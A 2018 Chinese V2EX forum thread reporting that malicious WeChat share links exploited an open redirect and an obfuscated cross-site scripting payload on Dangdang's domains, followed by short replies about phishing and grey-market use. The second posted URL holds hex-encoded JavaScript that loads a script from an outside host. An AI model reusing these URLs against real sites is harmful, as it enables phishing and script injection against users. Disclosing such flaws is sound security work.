Home Sign Up Sign In
工单节点使用指南
• 请用平和的语言准确描述你所遇到的问题
• 厂商的技术支持和你一样也是有喜怒哀乐的普通人类，尊重是相互的
• 如果是关于 V2EX 本身的问题反馈，请使用 反馈 节点
bin456789

当当可跳转任意网站

  •   
  •   bin456789 · Jul 5, 2018 via Android · 5990 views
    This topic created in 3052 days ago, the information mentioned may be changed or developed.
    被微信上的恶意分享连接利用了


    https://login.dangdang.com/SignOut.asp?returnurl=http%3A%2F%2Fwx.etcwl.cn%2Fwtz%2Ffenx.php%3Ftype%3D2892&from=timeline


    http://union.dangdang.com/transfer.php%01?from=P-295132-112509_64_0__1&backurl=http%253A%252F%252Fm.dangdang.com%252Fproduct.php%27;top.location.href=%27java%5Cx73%5Cx63%5Cx72%5Cx69%5Cx70%5Cx74%5Cx3a%5Cx64%5Cx6f%5Cx63%5Cx75%5Cx6d%5Cx65%5Cx6e%5Cx74%5Cx2e%5Cx77%5Cx72%5Cx69%5Cx74%5Cx65%5Cx28%5Cx22%5Cx3c%5Cx73%5Cx63%5Cx72%5Cx69%5Cx70%5Cx74%5Cx20%5Cx73%5Cx72%5Cx63%5Cx3d%5Cx27%5Cx2f%5Cx2f%5Cx32%5Cx33%5Cx65%5Cx6e%5Cx73%5Cx74%5Cx2e%5Cx6e%5Cx65%5Cx74%5Cx2f%5Cx64%5Cx73%5Cx67%5Cx2e%5Cx6a%5Cx73%5Cx27%5Cx3e%5Cx3c%5Cx2f%5Cx73%5Cx63%5Cx72%5Cx69%5Cx70%5Cx74%5Cx3e%5Cx22%5Cx29%5Cx3b%27;//&tt=19976#1530770981499
  • 任意
  • 恶意
  • 当当
  • 微信
    18 replies  •  2018-07-13 20:11:10 +08:00
    wly19960911
    wly19960911
    Jul 5, 2018❤️1
    1
    这意思，可以直接钓鱼了吗？还是人家官方的域名。

    吐槽下，居然不是 HTTPS，
    blackhacker
    blackhacker
    Jul 5, 2018
    2
    黑产最爱
    hu5ky
    hu5ky
    Jul 5, 2018
    3
    真仔细，这种角落的东西都挖到了
    silencefent
    silencefent
    Jul 5, 2018
    4
    @hu5ky 说不定就是当当的员工
    waytoshine
    waytoshine
    Jul 5, 2018
    5
    牛逼啊兄弟，这也行
    a7a2
    a7a2
    Jul 5, 2018
    6
    asp，php 我醉了
    博彩业最爱
    sunnywx
    sunnywx
    Jul 5, 2018
    7
    这也可以发现，牛逼
    opengps
    opengps
    Jul 5, 2018
    8
    这个真的是微信里黑产防止屏蔽的用途了
    justfindu
    justfindu
    Jul 5, 2018
    10
    @a7a2 这黑的我不服
    neverandy
    neverandy
    Jul 5, 2018
    11
    @Lentin 666
    i730
    i730
    Jul 5, 2018
    12
    @Lentin #9 login 域的 xss 就这么爆出来了，讲究
    460881773
    460881773
    Jul 6, 2018
    13
    @Lentin 优秀啊 dalao dalao
    fxplay
    fxplay
    Jul 6, 2018
    14
    @Lentin 没茅台...当当还不修复么...
    imkuang
    imkuang
    Jul 6, 2018 via Android
    15
    @Lentin 真心 6
    Lentin
    Lentin
    Jul 6, 2018
    16
    @fxplay 当当网的技术应该是兼职，24 小时过去了
    li520sai
    li520sai
    Jul 6, 2018
    17
    这波操作 6，有没有爱好者一起研究 xss 的，wx：houccdaye
    EmitRemmus
    EmitRemmus
    Jul 13, 2018
    18
    @a7a2 也是色情业最爱。
    About   ·   Help   ·   Advertise   ·   Blog   ·   API   ·   FAQ   ·   Privacy   ·   Solana   ·   2685 Online   Highest 6679   ·     Select Language
    创意工作者们的社区
    World is powered by solitude
    VERSION: 3.9.8.5 · 55ms · UTC 04:20 · PVG 12:20 · LAX 20:20 · JFK 23:20
    ♥ Do have faith in what you're doing.